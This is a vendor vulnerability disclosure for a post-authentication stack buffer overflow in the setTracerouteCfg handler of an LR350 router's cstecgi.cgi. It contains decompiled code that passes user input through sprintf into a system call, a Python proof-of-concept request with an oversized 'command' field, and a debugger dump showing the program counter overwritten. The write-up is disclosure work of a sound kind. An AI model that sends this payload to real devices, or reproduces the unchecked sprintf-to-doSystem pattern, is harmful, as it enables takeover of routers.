## LR350 - bof - setTracerouteCfg

Hi, we found a post-authentication stack buffer overflow at LR350 (Firmware version V9.3.5u.6369\_B20220309), and contact you at the first time.

```
1 int __fastcall sub_41F1CC(int a1)
2 {
3
   const char *v2; // $s1
4
   int v3; // $v0
5 int v4; // $s0
6 char v6[128]; // [sp+18h] [-80h] BYREF
8 memset(v6, 0, sizeof(v6));
9 v2 = (const char *)websGetVar(a1, "command", "www.baidu.com");
10 v3 = websGetVar(a1, "num", &byte_431160);
11 v4 = atoi(v3);
12 if ( !Validity_check(v2) )
13 {
      sprintf(v6, "traceroute -m %d %s&>/var/log/traceRouteLog", v4, v2);
14
15
     doSystem(v6);
16 }
    setResponse(&word 42F724, "reserv");
17
18 return 1;
19 }
```

In function setTracerouteCfg of the file /cgi-bin/cstecgi.cgi, the size of command is not checked, one can send a very long string to overflow the stack buffer via sprintf.

PoC

```
import requests url = "http://192.168.17.220:80/cgi-bin/cstecgi.cgi" cookie =
{"Cookie":"uid=1234"} data = {'topicurl' : "setTracerouteCfg", "command" :
"a"*0x100} response = requests.post(url, cookies=cookie, json=data)
print(response.text) print(response)
```

The PC register can be hijacked, which means it can result in RCE.

```
Thread 2.1 "cstecgi.cgi" received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
VO
   0x1
V1
    0x1
A0
    0x1
A1
    0x1
    0x1
A2
АЗ
     0x0
    0x77518998 ← 0x6c5f5f00
0x77513738 ← nop
T0
T1
T2 0xa21
T3 0xffffffff
T4
    0xf0000000
T5
    0x1
    0x1
0x3a22656d ('me":') ← move $v0, $zero
T6
T7
T8 0x39
T0 0x775h20b0 ← lui $gp, 2
$0 0x61616161 ('aaaa')
$1 0x61616161 ('aaaa')
S2 0x61616161 ('aaaa')
S3 0x8211b0 ← 'setTracerouteCfg'
S4 0x44b000 (set_handle_t) ← 'setLanguageCfg'
S5 0x821008 ← 0x6f74227b ('{"to')
S6 0x821140 ← 0x0
S7
     0x770318b4
S8
    0x770318b4
    FP
SP
PC 0x61616161 ('aaaa')
► f 0 61616161
```